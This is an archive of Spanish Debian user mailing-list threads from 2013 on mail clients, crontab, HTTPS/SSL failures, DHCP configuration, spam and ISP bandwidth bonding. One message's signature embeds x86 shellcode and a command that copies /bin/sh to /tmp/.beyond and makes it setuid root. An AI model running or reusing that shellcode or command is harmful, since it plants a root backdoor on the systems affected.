Re: [OT] ¿Que clientes usan?
On Tue, 19 Mar 2013 00:01:05 +0100 fernando sainz wrote: Sylpheed usa menos ram que el thundercat o thunderbird o thunder algo. Saludos PD: También uso Mutt -- MamaLibre Reader :. http://mamalibre.com.ar/reader/ Buscador del Sur :. http://buscar.mamalibre.com.ar/ Voip Mumble :. http://mumble.com.ar Web Hosting :. http://mamalibre.com.ar Red Social :. http://legadolibre.com.ar Jabber/XMPP :. http://mamalibre.com.ar/xmpp/ MamaLibre, Casa en Lincoln, Ituzaingo 1085 CP6070, Buenos Aires, Argentina pgpFMZU0seItF.pgp Description: PGP signature
Re: [OT] ¿Que clientes usan?
2013/3/18 fernando sainz > > 2013/3/18 Fabián Bonetti : > > On Mon, 18 Mar 2013 19:00:34 -0300 > > Francisco Del Roio wrote: > > > > > > > > Yo uso Sylpheed. > > > > Saludos > > > > > Ya que te molestas en contestar, por lo menos dinos que ventajas > tiene, o por qué lo prefieres. > Si cada uno de la lista dice que cliente usa sin más, tenemos otro de > esos hilos tontos que nuestro amigo tendrá difícil seguir con su > cliente. :-) > > > S2. > > > -- > To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org > with a subject of "unsubscribe". Trouble? Contact > listmas...@lists.debian.org > Archive: > http://lists.debian.org/cagwrhh2h-oxtgyvgcgkg7gl9vwaan4_ugrwkv3tt0eybjo...@mail.gmail.com > Yo uso el web mail de gmail -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/cag799-pa_oyyrktcq6_zwkfuetdrp7sxon-reuwodifepjm...@mail.gmail.com
Re: [OT] ¿Que clientes usan?
2013/3/18 Fabián Bonetti : > On Mon, 18 Mar 2013 19:00:34 -0300 > Francisco Del Roio wrote: > > > > Yo uso Sylpheed. > > Saludos > > Ya que te molestas en contestar, por lo menos dinos que ventajas tiene, o por qué lo prefieres. Si cada uno de la lista dice que cliente usa sin más, tenemos otro de esos hilos tontos que nuestro amigo tendrá difícil seguir con su cliente. :-) S2. -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/CAGw=rhh2h-oxtgyvgcgkg7gl9vwaan4_ugrwkv3tt0eybjo...@mail.gmail.com
Re: Ayuda Crontab
On Mon, 18 Mar 2013 19:03:57 -0300 Angel Claudio Alvarez wrote: Tipea en tu terminal: $crontab -e y empiezas añadir linea una de bajo de otra de lo que harás #Minuto Hora DiaDelMes Mes DiaDeLaSemana Usuario Comando # abrir firefox 45 8 * * * firefox eso abre firefox a las 8:45hs Saludos -- MamaLibre Reader :. http://mamalibre.com.ar/reader/ Buscador del Sur :. http://buscar.mamalibre.com.ar/ Voip Mumble :. http://mumble.com.ar Web Hosting :. http://mamalibre.com.ar Red Social :. http://legadolibre.com.ar Jabber/XMPP :. http://mamalibre.com.ar/xmpp/ MamaLibre, Casa en Lincoln, Ituzaingo 1085 CP6070, Buenos Aires, Argentina pgpS3IyDaskb2.pgp Description: PGP signature
Re: [OT] ¿Que clientes usan?
On Mon, 18 Mar 2013 19:00:34 -0300 Francisco Del Roio wrote: Yo uso Sylpheed. Saludos -- MamaLibre Reader :. http://mamalibre.com.ar/reader/ Buscador del Sur :. http://buscar.mamalibre.com.ar/ Voip Mumble :. http://mumble.com.ar Web Hosting :. http://mamalibre.com.ar Red Social :. http://legadolibre.com.ar Jabber/XMPP :. http://mamalibre.com.ar/xmpp/ MamaLibre, Casa en Lincoln, Ituzaingo 1085 CP6070, Buenos Aires, Argentina pgpcPv9t7sQ0Z.pgp Description: PGP signature
Re: 2 isp [ot]
Buenas noches, El 18/03/2013, a las 21:54, Camaleón escribió: > El Mon, 18 Mar 2013 19:42:52 +0100, Ramses II escribió: > >> Buenas tardes, > > Buenas noches. > >> - Yo no he dicho que sean meros balanceadores de carga, de hecho, si en >> el Operador o en el otro extremo pones otro, pues sumas el Ancho de >> Banda. Ahí no he discutido yo nada. >> >> - No estamos discutiendo si el 95% del tráfico sea HTTP o no, sino si el >> concepto "SUMAR" el Ancho de Banda de enlaces de distinto proveedores es >> real, o está bien usado. > > Pues eso es precisamente lo que permite ese dispositivo. > > Ahora bien, ¿que _a ti_ no te sirve porque en tu caso (personal y > particular) usas exclusivamente conexiones a servidores ftp y no vas a > utilizar la funcionalidad que ofrece el aparato porque no utilizas apenas > tráfico http? Perfecto, no te estoy diciendo que este aparato sea el > "Santo Grial" de las soluciones de "agregración" de ancho de banda y que > sea útil para todos los casos. No, ni mucho menos. > > Como te he dicho antes yo no lo compraría para unir el ancho de banda de > dos módems de fibra óptica porque: > > a) Sé qué no voy a obtener un canal efectivo (ya sea virtual, real o > imaginario) de 200 Mpbs de descarga y, > > b) Aún en el hipotético caso de que lo consiguiera no lo voy a aprovechar > porque ahora mismo tenemos los enlaces de fibra óptica completamente > desaprovechados ya que los servidores (servicios) usuales a los que se > conectan los usuarios en la oficina NO permiten sacar el máximo partido a > la velocidad que ofrece la fibra (sólo he conseguido descargas a 10 MiB/s > "netos" cuando me conecto a los servidores de Oracle para descargar > VirtualBox que tarda -reloj en mano- 8 segundos en bajar los 80 MiB de la > aplicación), así que no voy a ganar nada duplicando el ancho de banda. > > ¿Cuándo compraría ese cacharro, cuándo lo vería útil? Pues mira, si > tuviera dos líneas ADSL sobre RDSI que sólo permiten conexiones de > 3000/300 kbps, y siempre y cuando no tuviera un precio desorbitado. ¿Por > qué? Pues porque añadido al aumento del ancho de banda que se pueda ganar > en las descargas http (las convencionales) que no vendría nada mal en > este caso concreto dado en "escaso caudal" disponible, se le añade la > posibilidad del failover (muy interesante) y el balanceo de carga, es > decir, tendría características de valor añadido que sí podrían justificar > la compra de ese dispositivo. > > Es decir, el aparato hace lo que hace y sirve para lo que sirve. Punto. > Cosa distinta es que le sea útil a todo el mundo, en todos los casos y en > todas las circunstancias. > >> - Tú lo estás viendo desde el punto de vista de la LAN, y yo estoy >> hablando desde punto de vista de un PC en la LAN y una única tarea, que >> es como sería realmente que suma los Anchos de Banda. > > Yo veo sencillamente lo que permite, nada más. > >> Si esto solo es un tema de conceptos y de interpretaciones... El Ancho >> de Banda total del que dispone una LAN para descargas/moverse por >> Internet, y el Ancho de Banda máximo del que dispone un único PC de esa >> LAN para descargarse un único fichero desde Internet con cualquier >> protocolo, no solo HTTP, sino también FTP o cualquier otro... > > No sé... a mí me parece que tiene un mercado bien definido y que puede > ser de utilidad para algunos usuarios pero obviamente no para todos ni > para todo. Pues eso, lo que te comentaba, que a mi no es que me valgan o me dejen de valer, sólo es un tema de conceptos y desde el punto de vista desde el que se interpreten... Saludos, Ramsés -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/cd142a8d-e79c-4956-8ac4-5dffbb584...@gmail.com
Re: [OT] ¿Que clientes usan?
El 18/03/13 23:00, Francisco Del Roio escribió: Buenas gente. La razón por la que dejo este mensaje es porque me llegan hilos desordenados, respuestas que comienzan otros hilos, etc...etc...etc...etc. Uso Thunderbird/icedobe y siempre me ha mostrado correctamente los hilos, es solo por eso que dejo el mensaje. ¡Saludos! Buenas. Yo también uso Icedove. Para que se ordenen los mensajes ordenados por conversaciones, pulsa el icono que hay antes de la estrellita negra y del clip (en la parte donde aparece el asunto, el remitente... etc) Si lo vuelves a pulsar, se desordenará de nuevo. Quizás es que lo has pulsado anteriormente sin darte cuenta. -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/51479187.9080...@yahoo.es
Re: imposible reducir el brillo de la pantalla
El 18/03/13 16:29, Camaleón escribió: Está curioso, sí... quizá ese valor esté enlazado de alguna forma con otro. Mira a ver si tienes algo en "/sys/devices/virtual/backlight/..." Saludos, La verdad es que no. En /sys/devices/virtual aparece esto: drwxr-xr-x 14 root root 0 mar 18 22:49 bdi drwxr-xr-x 10 root root 0 mar 18 22:49 block drwxr-xr-x 3 root root 0 mar 18 22:49 dmi drwxr-xr-x 3 root root 0 mar 18 22:53 graphics drwxr-xr-x 3 root root 0 mar 18 22:55 hwmon drwxr-xr-x 5 root root 0 mar 18 22:49 input drwxr-xr-x 3 root root 0 mar 18 22:55 leds drwxr-xr-x 11 root root 0 mar 18 22:55 mem drwxr-xr-x 17 root root 0 mar 18 22:49 misc drwxr-xr-x 3 root root 0 mar 18 22:49 net drwxr-xr-x 3 root root 0 mar 18 22:55 regulator drwxr-xr-x 4 root root 0 mar 18 22:49 sound drwxr-xr-x 13 root root 0 mar 18 22:55 thermal drwxr-xr-x 69 root root 0 mar 18 22:49 tty drwxr-xr-x 18 root root 0 mar 18 22:49 vc drwxr-xr-x 4 root root 0 mar 18 22:55 vtconsole drwxr-xr-x 6 root root 0 mar 18 22:55 wmi No sé, sólo puedo decir que este portatil no es que tenga 2 tarjetas gráficas independientes. Es como si por software pudieras seleccionar la Intel o la ATI Radeon... No sé si me explico... HP hace referencia a ella como "gráficos intercambiables"... y Windows, por software, usaba una u otra (dependiendo de si el portátil estaba conectado a la corriente o no) No sé explicarte más. De todos modos, aún se me cuelga, pero no tanto como con los otros controladores gráficos. Empiezo a sospechar que es cosa de gnome-shell... porque cuando se queda colgado, abro una consola virtual (Ctrl+F1) y hago un "shutdown -r now", y en el proceso de reinicio veo errores (fugaces) con gnome-shell... -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/51478fcc.4020...@yahoo.es
[OT] ¿Que clientes usan?
Buenas gente. La razón por la que dejo este mensaje es porque me llegan hilos desordenados, respuestas que comienzan otros hilos, etc...etc...etc...etc. Uso Thunderbird/icedobe y siempre me ha mostrado correctamente los hilos, es solo por eso que dejo el mensaje. ¡Saludos! -- Cuando tus fuerzas terminan, las de Dios comienzan... <>
Re: no puedo acceder a paginas con https
El 18/03/13 16:25, Felix Perez escribió:
2013/3/18, Fabián Bonetti:
On Mon, 18 Mar 2013 16:43:33 -0300
Felix Perez wrote:
Comprueba la fecha si la tienes correcta.
Gracias Fabián, la fecha esta correcta aunque con todo los problemas
que hemos tenido con el retraso en el cambio de hora (Chile) no
descarto que algo tenga que ver.
el date me devuelve:
lun mar 18 17:20:39 ART 2013
Saludos.
Perdón yo soy de chile y no he tenido problema alguno con el cambio de
hora, para eso están los admin..
--
char esp[] _attribute_ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
> Linux Counter ( http://counter.li.org )
> --*
> Usuario #551263
--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/51479a05.9090...@linuxmail.org
Re: dhcp3 en Squeeze
El Mon, 18 Mar 2013 13:44:45 -0400, Kmilo Noa escribió: > Hola lista, he estado instalando LTSP en Debian Squeeze, todo normal > hats al parte del DHCP3 el manual conque estaba trabajando dice que > instale este servidor, lo instalo pero no crea los archivos de > configuración que deben alojarse en /etc/dhcp3/ como lo hacía con Lenny, > me pregunto si puedo lograr la misma integración de LTSP con > isc-dhcp-server. Pues debería ser lo mismo, sólo que la ruta ha cambiado. Ahora la configuración está en "/etc/dhcp/dhcpd.conf". Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki7vcn$noi$1...@ger.gmane.org
Re: 2 isp [ot]
El Mon, 18 Mar 2013 19:42:52 +0100, Ramses II escribió: > Buenas tardes, Buenas noches. > - Yo no he dicho que sean meros balanceadores de carga, de hecho, si en > el Operador o en el otro extremo pones otro, pues sumas el Ancho de > Banda. Ahí no he discutido yo nada. > > - No estamos discutiendo si el 95% del tráfico sea HTTP o no, sino si el > concepto "SUMAR" el Ancho de Banda de enlaces de distinto proveedores es > real, o está bien usado. Pues eso es precisamente lo que permite ese dispositivo. Ahora bien, ¿que _a ti_ no te sirve porque en tu caso (personal y particular) usas exclusivamente conexiones a servidores ftp y no vas a utilizar la funcionalidad que ofrece el aparato porque no utilizas apenas tráfico http? Perfecto, no te estoy diciendo que este aparato sea el "Santo Grial" de las soluciones de "agregración" de ancho de banda y que sea útil para todos los casos. No, ni mucho menos. Como te he dicho antes yo no lo compraría para unir el ancho de banda de dos módems de fibra óptica porque: a) Sé qué no voy a obtener un canal efectivo (ya sea virtual, real o imaginario) de 200 Mpbs de descarga y, b) Aún en el hipotético caso de que lo consiguiera no lo voy a aprovechar porque ahora mismo tenemos los enlaces de fibra óptica completamente desaprovechados ya que los servidores (servicios) usuales a los que se conectan los usuarios en la oficina NO permiten sacar el máximo partido a la velocidad que ofrece la fibra (sólo he conseguido descargas a 10 MiB/s "netos" cuando me conecto a los servidores de Oracle para descargar VirtualBox que tarda -reloj en mano- 8 segundos en bajar los 80 MiB de la aplicación), así que no voy a ganar nada duplicando el ancho de banda. ¿Cuándo compraría ese cacharro, cuándo lo vería útil? Pues mira, si tuviera dos líneas ADSL sobre RDSI que sólo permiten conexiones de 3000/300 kbps, y siempre y cuando no tuviera un precio desorbitado. ¿Por qué? Pues porque añadido al aumento del ancho de banda que se pueda ganar en las descargas http (las convencionales) que no vendría nada mal en este caso concreto dado en "escaso caudal" disponible, se le añade la posibilidad del failover (muy interesante) y el balanceo de carga, es decir, tendría características de valor añadido que sí podrían justificar la compra de ese dispositivo. Es decir, el aparato hace lo que hace y sirve para lo que sirve. Punto. Cosa distinta es que le sea útil a todo el mundo, en todos los casos y en todas las circunstancias. > - Tú lo estás viendo desde el punto de vista de la LAN, y yo estoy > hablando desde punto de vista de un PC en la LAN y una única tarea, que > es como sería realmente que suma los Anchos de Banda. Yo veo sencillamente lo que permite, nada más. > Si esto solo es un tema de conceptos y de interpretaciones... El Ancho > de Banda total del que dispone una LAN para descargas/moverse por > Internet, y el Ancho de Banda máximo del que dispone un único PC de esa > LAN para descargarse un único fichero desde Internet con cualquier > protocolo, no solo HTTP, sino también FTP o cualquier otro... No sé... a mí me parece que tiene un mercado bien definido y que puede ser de utilidad para algunos usuarios pero obviamente no para todos ni para todo. Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki7uu7$noi$1...@ger.gmane.org
Re: no puedo acceder a paginas con https
El 18/03/13, Felix Perez escribió: > 2013/3/18, Fabián Bonetti : >> On Mon, 18 Mar 2013 16:43:33 -0300 >> Felix Perez wrote: >> >> >> >> Comprueba la fecha si la tienes correcta. > > Gracias Fabián, la fecha esta correcta aunque con todo los problemas > que hemos tenido con el retraso en el cambio de hora (Chile) no > descarto que algo tenga que ver. > el date me devuelve: > lun mar 18 17:20:39 ART 2013 > Agrego inconvenientes, en evolution tengo dos cuentas configuradas ambas de igual manera, una no me arroja ningún error y la otra si bien descarga y envía correos me muestra en evolution el siguiente error: Error mientras estaba Obteniendo mensajes. No se puede obtener el mensaje UID7555-1322257792: Razón desconocida Me parece que testing se esta volviendo testing :-) Saludos. -- usuario linux #274354 normas de la lista: http://wiki.debian.org/es/NormasLista como hacer preguntas inteligentes: http://www.sindominio.net/ayuda/preguntas-inteligentes.html -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/caaizax6a7ctwnaj22ohcevlpb1vrvnw5qkwss3xwqwsue3t...@mail.gmail.com
Re: no puedo acceder a paginas con https
2013/3/18, Fabián Bonetti : > On Mon, 18 Mar 2013 16:43:33 -0300 > Felix Perez wrote: > > > > Comprueba la fecha si la tienes correcta. Gracias Fabián, la fecha esta correcta aunque con todo los problemas que hemos tenido con el retraso en el cambio de hora (Chile) no descarto que algo tenga que ver. el date me devuelve: lun mar 18 17:20:39 ART 2013 Saludos. -- usuario linux #274354 normas de la lista: http://wiki.debian.org/es/NormasLista como hacer preguntas inteligentes: http://www.sindominio.net/ayuda/preguntas-inteligentes.html -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/CAAiZAx51Tb-Ygq2rbXo=p=up4s61e1q_f1tg1q7khsq4r2e...@mail.gmail.com
Re: no puedo acceder a paginas con https
On Mon, 18 Mar 2013 16:43:33 -0300 Felix Perez wrote: Comprueba la fecha si la tienes correcta. Saludos. -- MamaLibre Reader :. http://mamalibre.com.ar/reader/ Buscador del Sur :. http://buscar.mamalibre.com.ar/ Voip Mumble :. http://mumble.com.ar Web Hosting :. http://mamalibre.com.ar Red Social :. http://legadolibre.com.ar Jabber/XMPP :. http://mamalibre.com.ar/xmpp/ MamaLibre, Casa en Lincoln, Ituzaingo 1085 CP6070, Buenos Aires, Argentina pgpvnLxUsw9Wt.pgp Description: PGP signature
no puedo acceder a paginas con https
Hola estimados El sábado pasado hice unas actualizaciones a mi laptop con debian testing (Linux felix-portatil 3.2.0-4-686-pae #1 SMP Debian 3.2.39-2 i686 GNU/Linux ) , luego de las cuales me pidio reiniciar, lo cual hice. Luego me fui de la oficina y al llegar hoy resulta que no puedo ingresar a sitios seguros https, me lanza este mensaje de error el navegador iceweasel: ** Conexión segura fallida Ha ocurrido un error durante una conexión a www.x.xx. SSL ha recibido un registro con un código de identificación de mensaje incorrecto. (Código de error: ssl_error_bad_mac_read) La página que está intentando ver no puede mostrarse porque no se ha podido verificar la autenticidad de los datos recibidos. Por favor, contacte con los administradores del sitio web para informarles de este problema. De manera alternativa, use la opción del menú Ayuda para informar del problema de este sitio web. * Pasa con todas las páginas https, a gmail no puedo entrar y debo seleccionar la opción html básico para ver los correos, por ejemplo esta es youtube: Conexión segura fallida Ha ocurrido un error durante una conexión a www.youtube.com. SSL ha recibido un registro con un código de identificación de mensaje incorrecto. (Código de error: ssl_error_bad_mac_read) La página que está intentando ver no puede mostrarse porque no se ha podido verificar la autenticidad de los datos recibidos. Por favor, contacte con los administradores del sitio web para informarles de este problema. De manera alternativa, use la opción del menú Ayuda para informar del problema de este sitio web. * error en navegador web 3.4.2 Unable to load page Problem occurred while loading the URL https://www..xx/.. SSL handshake failed * Además problemas con flash y con gnash, las páginas no cargan el plugin o se cierran de pronto. Finalmente al intentar actualizar ya sea con synaptic, apt o aptitude me da errores con todos los repos, ahora solo tengo activado el de us, solo les pego el final de la salida de aptitude: W: Error de GPG: http://ftp.us.debian.org testing InRelease: Las siguientes firms fueron inválidas: BADSIG AED4B06F473041FA Debian Archive Automatic Signing Key (6.0/squeeze) W: Se produjo un fallo al descargar http://ftp.us.debian.org/debian/dists/testing/main/source/Sources: 404 Not Found [IP: 64.50.236.52 80] W: Se produjo un fallo al descargar http://ftp.us.debian.org/debian/dists/testing/main/binary-i386/Packages: 404 Not Found [IP: 64.50.236.52 80] E: Some index files failed to download. They have been ignored, or old ones used instead. E: No se pudo reconstruir el almacén de paquetes Gracias adelantadas por cualquier ayuda o comentario. - usuario linux #274354 normas de la lista: http://wiki.debian.org/es/NormasLista como hacer preguntas inteligentes: http://www.sindominio.net/ayuda/preguntas-inteligentes.html -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/CAAiZAx5FV_SmbsXWeRAK8L3JS8eHuDq=kaau5g8jls5-k2x...@mail.gmail.com
RE: 2 isp [ot]
Buenas tardes, - Yo no he dicho que sean meros balanceadores de carga, de hecho, si en el Operador o en el otro extremo pones otro, pues sumas el Ancho de Banda. Ahí no he discutido yo nada. - No estamos discutiendo si el 95% del tráfico sea HTTP o no, sino si el concepto "SUMAR" el Ancho de Banda de enlaces de distinto proveedores es real, o está bien usado. - Tú lo estás viendo desde el punto de vista de la LAN, y yo estoy hablando desde punto de vista de un PC en la LAN y una única tarea, que es como sería realmente que suma los Anchos de Banda. Si esto solo es un tema de conceptos y de interpretaciones... El Ancho de Banda total del que dispone una LAN para descargas/moverse por Internet, y el Ancho de Banda máximo del que dispone un único PC de esa LAN para descargarse un único fichero desde Internet con cualquier protocolo, no solo HTTP, sino también FTP o cualquier otro... Saludos, Ramsés -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/003f01ce2408$66b74c30$3425e490$@gmail.com
Re: 2 isp [ot]
El Mon, 18 Mar 2013 18:52:25 +0100, Ramses II escribió: > Buenas tardes, (no sé qué le pasa a tu cliente de correo pero rompe las citas :-?) >> Gracias por enviarlo, ya me parecía a mí que faltaban datos, pillín >> >:-) > > Camaleón, no he omitido ningún dato en lo referente a mi planteamiento > inicial. Es que la parte de las respuestas que has recibido y que has enviado en primer lugar quedaban un poco "cojas". > No es posible sumar el ancho de banda sin controlar ambas puntas, hasta > ellos te lo dicen, pero bueno, esto ya es una conversación absurda... Pues chico, te lo están diciendo ellos, si no les quieres creer es cosa tuya. > Y no me había fijado que al menos en el primero de los casos (el de la > empresa Mushroom Networks) tienen una FAQ muy completa. Por ejemplo, en > el caso del dispositivo de gama baja (Truffle Lite): > > https://www.mushroomnetworks.com/product/products.aspx?product_id=1002&tab=faqs (...) > Responden a tu pregunta ;-) > > Ala, Camaleón, cuando te encierras, no hay quien te haga "bajarte del > burro". No tengo ningún interés especial en este asunto, la verdad, pero es lo que hay. Si aún así sigues pensando que estos productos son meros "balanceadores de carga" pues nada, tú mismo. Personalmente me ha quedado claro lo que permiten y para qué sirven. > Pues como veo que te crees todo lo que te cuentan, desde el punto de > vista comercial, porque si les planteas una situación clara, comienzan a > salir los "peros", píllate uno de esos cacharros, le pinchas 2 enlaces, > de operadores distintos, y te conectas a Internet, te pillas un Cliente > FTP y te descargas un fichero de 100Mb. Haces una captura de la tasa de > transferencia y la guardas. Después haces la misma operación con un solo > enlace. A ver cual es la diferencia... Dicen que los dejan en demo... (...) Pues si necesitas esa funcionalidad te suscribes a su servicio de ancho de banda "total" por una módica cantidad ;-) pero para las descargas convencionales cumple su función. Y sinceramente, no se me ocurriría unir dos enlaces de FTTH de 100 Mbps, no creo que se obtenga mucho beneficio. Este tipo de "agregadores" pueden mostrar su utilidad cuando se tienen enlaces de baja velocidad, entonces sí se puede percibir una mejora al descargar archivos o en la navegación convencional. Como ves, yo también puedo ponerle "peros" en ciertas condiciones (para tiquismiquis, yo :-P) pero eso no significa que ese producto haga exactamente lo que dice que hace: sumar el ancho de banda de dos enlaces ADSL para aumentar la velocidad. >> Lo siento, no cuela... te lo dicen muy claramente: que sí lo permiten. >> Y que si quieres "afinar" más pues que contrates servicios adicionales, >> normal. >> >> También de su FAQ: >> >> *** >> Do I need the "Broadband Bonding Service" subscription with my Truffle >> Lite device? >> >> No. All Truffle devices will provide http downlink bonding and >> intelligent load-balancing for uplink and non-http traffic without >> requiring the monthly Broadband Bonding Service. Broadband Bonding >> Service will however provide additional bonding capability enabling >> bonding for all protocols in uplink and downlink. *** >> >> Que te están diciendo que solo lo hacen con HTTP, Suficiente. Representa el 95% del tráfico en gran parte de las empresas y no te digo en un entorno casero. Si quieres más, a pasar por caja :-) > que no es real la suma del Ancho de Banda " provide http downlink > bonding and intelligent load-balancing for uplink and non-http > traffic", que con el resto hacen load-balancing, que eso no es sumar > desde el punto de vista Peer-to-Peer, aunque sí desde el punto de vista > de una LAN, que son muchas las conexiones que se realizan... Real o virtual, ellos sabrán. Si aumenta la velocidad porque hace uso de la capacidad del ancho de banda de los dos enlaces, perfecto. >> Qué va, y gracias por preguntarles, ahora me queda mucho más claro y me >> gusta ver que ya hay varias soluciones en el mercado que lo permiten. > > Ala, pues a hacer las pruebas y después nos cuentas los resultados de > las tasas de transferencia con uno y varios enlaces en uno de esos > cacharros, en una descarga Peer-to-Peer con un FTP. Si lo necesito ya lo pagaré ;-) > También hay un artículo (generalista) en Wikipedia: > > *** > Broadband bonding > http://en.wikipedia.org/wiki/Broadband_bonding (...) > Ala, pues a hacer las pruebas sin tener en el otro extremo otro equipo > para realizar el "Broadband bounding". Nos cuentas los resultados. > Siempre desde el punto de vista planteado, nada desde el punto de vista > de una LAN. No te preocupes que ya irán sacando más soluciones en el mercado e irán añadiendo funcionalidades. Cuestión de tiempo, ya verás. No siempre se puede optar por conexiones de banda ancha de alta velocidad (fibra, vdsl...) y cuando sólo tienes un ADSL de "hasta" 20 Mpbs este tipos de cacharros te pueden servir. > Me gustaría que asomaran por aquí algun
Re: Ayuda Crontab
El Mon, 18 Mar 2013 14:36:31 -0400, academia escribió: (...) > Quiero lograr que cuando el server inicie a las 8 de la mañana, > automáticamente también lo haga mi Crontab (facilitando la ejecución de > todas las tareas programadas en el mismo) Que yo sepa "cron" es un demonio que se inicia cuando se enciende el equipo y mee extrañaría que no lo tuvieras configurado así. ¿Qué problema tienes exactamente? Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki7km6$noi$1...@ger.gmane.org
Re: [Spam] Re: Adiós de nuestro boletÃn.
El Mon, 18 Mar 2013 14:07:34 -0300, Hernan Montero escribió: > El 18 de marzo de 2013 11:32, Camaleón escribió: >> >> El Mon, 18 Mar 2013 11:08:14 -0300, Ricardo escribió: >> >> > El dÃa 18 de marzo de 2013 09:53, Rosa Aguero >> > escribió: >> >> >> >> Adiós a nuestro boletÃn, lamentamos que se vaya. >> >> (...) >> >> > Hola Lista, alguien me puede decir por que me llegan estos correos >> > raros.. llegan de la lista .. >> >> Se llama "spam" y el motivo por el que lo recibes no atiende más que a >> una mera cuestión comercial ;-P > Yo tampoco entiendo nada sobre ese boletÃn. ¿Alguien sabe a que quieren > referirse? A ver... yo creo que se trata de que o bien ellos mismos (los que gestionan esa "supuesta" lista) han añadido la dirección de correo de la lista de Debian o alguien la ha suscrito y por eso se recibe esa notificación de "supuesta" baja que puede ser realidad o pura ficción (con el spam nunca se sabe). Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki7kbf$noi$1...@ger.gmane.org
RE: 2 isp [ot]
Buenas tardes, -Mensaje original- De: Camaleón [mailto:noela...@gmail.com] Enviado el: lunes, 18 de marzo de 2013 18:04 Para: debian-user-spanish@lists.debian.org Asunto: Re: 2 isp [ot] El Mon, 18 Mar 2013 17:36:50 +0100, Ramses II escribió: > Buenas tardes, > > Perdón por no haber quitado los nombres... Personalmente no me gusta mandar a una lista pública contenido que parte de una conversación que se supone es privada, salvo en honrosas excepciones. Nunca se sabe O:-) (...) > - ¡Ay, Camaleón!, esta es la pregunta que les planteé a los 3, > evidentemente, a cada uno con su producto: (...) Leídos. Gracias por enviarlo, ya me parecía a mí que faltaban datos, pillín >:-) Camaleón, no he omitido ningún dato en lo referente a mi planteamiento inicial. No es posible sumar el ancho de banda sin controlar ambas puntas, hasta ellos te lo dicen, pero bueno, esto ya es una conversación absurda... Y no me había fijado que al menos en el primero de los casos (el de la empresa Mushroom Networks) tienen una FAQ muy completa. Por ejemplo, en el caso del dispositivo de gama baja (Truffle Lite): *** https://www.mushroomnetworks.com/product/products.aspx?product_id=1002&tab=faqs Let's say I have 4 DSL lines with 6Mbps downlink speed each, after I install Internet load balancer, Truffle Lite, how fast will I be able to download files? Truffle Lite will aggregate all the 4 DSL lines that are connected to the WAN ports and file downloads will be around 4 x 6 = 24 Mbps. Truffle Lite can provide aggregate throughputs of up to 95Mbps. *** Responden a tu pregunta ;-) Ala, Camaleón, cuando te encierras, no hay quien te haga "bajarte del burro". Pues como veo que te crees todo lo que te cuentan, desde el punto de vista comercial, porque si les planteas una situación clara, comienzan a salir los "peros", píllate uno de esos cacharros, le pinchas 2 enlaces, de operadores distintos, y te conectas a Internet, te pillas un Cliente FTP y te descargas un fichero de 100Mb. Haces una captura de la tasa de transferencia y la guardas. Después haces la misma operación con un solo enlace. A ver cual es la diferencia... Dicen que los dejan en demo... Sí, sí, las FAQ's lo dicen muy claro, correo y plantéales la situación, como he hecho yo, desde un único punto, tanto origen como destino, un Peer-to-Peer, y que te juren por Petete que suman el Ancho de Banda de todos los enlaces que le pongas al cacharro sin controlar las dos puntas. Pero qué quieres te diga, lo aclaran perfectamente en el correo que te mandan: muy completo y de agradecer por su parte, denota profesionalidad. > - Como ves, ellos te dicen al principio que sí, que a 40Mbps, pero si > los obligas a ceñirse a la situación planteada, que es si realmente se > suman o no, es decir, si desde un único punto (PC) puedes utilizar > todo el Ancho de Banda para descargar un único fichero (que sería la > situación real de que se suman los Anchos de Banda), ya empiezan a > salir "peros" y situaciones concretas en las que únicamente se podría. > Y si 